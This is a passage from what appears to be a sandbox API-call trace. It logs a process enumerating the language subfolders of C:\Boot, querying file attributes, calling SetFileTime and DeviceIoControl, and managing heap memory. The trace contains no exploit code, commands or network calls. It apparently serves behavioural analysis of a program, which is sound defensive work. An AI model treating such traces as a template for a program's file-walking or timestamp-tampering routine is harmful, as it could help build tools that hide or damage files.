(normalized: "c:\\boot\\ru-ru"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.466] CreateFileW (lpFileName="C:\\Boot\\ru-RU" (normalized: "c:\\boot\\ru-ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0039.466] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0039.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0039.466] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0039.467] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0039.467] NtClose (Handle=0x16c) returned 0x0 [0039.467] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0039.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0039.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0039.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0039.467] FindFirstFileExW (in: lpFileName="C:\\Boot\\ru-RU\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0039.467] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.467] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.467] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.467] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6400 [0039.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30ed90 [0039.467] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.467] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.467] GetLastError () returned 0x12 [0039.467] FindFirstFileExW (in: lpFileName="C:\\Boot\\ru-RU\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0039.467] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0039.467] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.467] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.467] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.468] GetLastError () returned 0x12 [0039.468] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0039.468] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0039.468] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0039.468] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0039.468] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0039.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0039.468] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE" (normalized: "c:\\boot\\sv-se"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.468] CreateFileW (lpFileName="C:\\Boot\\sv-SE" (normalized: "c:\\boot\\sv-se"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0039.468] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0039.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0039.468] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0039.468] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0039.468] NtClose (Handle=0x134) returned 0x0 [0039.468] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0039.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0039.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0039.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0039.468] FindFirstFileExW (in: lpFileName="C:\\Boot\\sv-SE\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0039.469] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.469] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.469] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.469] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6420 [0039.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3b98 [0039.469] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.469] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.469] GetLastError () returned 0x12 [0039.469] FindFirstFileExW (in: lpFileName="C:\\Boot\\sv-SE\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0039.469] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0039.469] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.469] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.469] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.469] GetLastError () returned 0x12 [0039.469] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0039.469] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0039.469] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0039.469] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0039.469] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0039.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0039.469] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR" (normalized: "c:\\boot\\tr-tr"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.540] CreateFileW (lpFileName="C:\\Boot\\tr-TR" (normalized: "c:\\boot\\tr-tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0039.540] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0039.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0039.540] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0039.540] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0039.540] NtClose (Handle=0x16c) returned 0x0 [0039.540] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0039.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0039.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0039.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0039.541] FindFirstFileExW (in: lpFileName="C:\\Boot\\tr-TR\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0039.541] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.541] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.541] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.541] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6440 [0039.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3c20 [0039.541] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.541] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.541] GetLastError () returned 0x12 [0039.541] FindFirstFileExW (in: lpFileName="C:\\Boot\\tr-TR\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0039.541] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0039.541] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.541] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.541] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.541] GetLastError () returned 0x12 [0039.541] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0039.541] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0039.541] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0039.541] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0039.541] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0039.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0039.542] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN" (normalized: "c:\\boot\\zh-cn"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.542] CreateFileW (lpFileName="C:\\Boot\\zh-CN" (normalized: "c:\\boot\\zh-cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0039.542] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0039.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0039.542] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0039.542] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0039.542] NtClose (Handle=0x134) returned 0x0 [0039.543] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0039.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0039.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0039.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0039.543] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-CN\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0039.543] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.543] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.543] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.543] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.543] 